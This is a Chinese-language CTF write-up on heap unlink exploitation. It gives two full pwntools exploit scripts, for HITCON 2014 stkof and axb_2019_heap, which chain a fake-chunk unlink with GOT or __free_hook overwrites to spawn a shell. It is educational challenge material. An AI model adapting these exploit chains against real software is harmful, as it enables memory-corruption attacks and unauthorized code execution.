unlink

unlink

堆溢出漏洞 ——unlink

推荐 unlink 基本知识讲解

# 2014 HITCON stkof

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
hollkelf = ELF('./stkof')
if args['REMOTE']:
hollk = remote('127.0.0.1', 7777)
else:
hollk = process("./stkof")
log.info('PID: ' + str(proc.pidof(hollk)[0]))
libc = ELF('./libc.so.6')
head = 0x602140


def alloc(size):
hollk.sendline('1')
hollk.sendline(str(size))
hollk.recvuntil('OK\n')


def edit(idx, size, content):
hollk.sendline('2')
hollk.sendline(str(idx))
hollk.sendline(str(size))
hollk.send(content)
hollk.recvuntil('OK\n')


def free(idx):
hollk.sendline('3')
hollk.sendline(str(idx))


def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1

alloc(0x30) # idx 2
# small chunk size inorder to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head - 0x8) #fd
payload += p64(head) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
hollk.recvuntil('OK\n')
#gdb.attach(hollk)
# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(hollkelf.got['free']) + p64(hollkelf.got['puts']) + p64(
hollkelf.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(hollkelf.plt['puts'])
edit(0, len(payload), payload)

#free global[1] to leak puts addr
free(1)
puts_addr = hollk.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
hollk.send(p64(binsh_addr))
hollk.interactive()

if __name__ == "__main__":
exp()

# axb_2019_heap

# 知识点

  1. pwndbg 使用 regs 查看寄存器里得值

    image-20211124224540522

  2. 利用思路

    • 利用格式化字符串泄露 libc 和程序基址
    • 运用 unlink 将 chunk 0 地址覆写为 free_hook 的地址
    • 将 system 地址写入 free_hook
    • 触发写入的’/bin/sh’块的删除,执行 system (’/bin/sh’)

# WP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *

#p = remote("node3.buuoj.cn",26144)
p = process("./axb_2019_heap")

context.log_level = 'debug'

elf = ELF("./axb_2019_heap")
libc = ELF('./libc-2.23-64.so')

def add(idx,size,content):
p.sendlineafter('>>','1')
p.sendlineafter('):',str(idx))
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def delete(idx):
p.sendlineafter('>>','2')
p.sendlineafter('index:',str(idx))

def edit(idx,content):
p.sendlineafter('>>','4')
p.sendlineafter('index:',str(idx))
p.sendlineafter('content: \n',content)

def show():
p.sendlineafter('>>','3')

p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186
#success("base:"+hex(base))
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']

bss=base+0x202060
success("bss:"+hex(bss))
add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3

#gdb.attach(p)

payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
#gdb.attach(p)
delete(1)

edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
#gdb.attach(p)

edit(0,p64(system))
#gdb.attach(p)

delete(3)

p.interactive()

Author

y1seco

Posted on

2021-11-25

Updated on

2022-01-13

Licensed under

Comments

:D 一言句子获取中...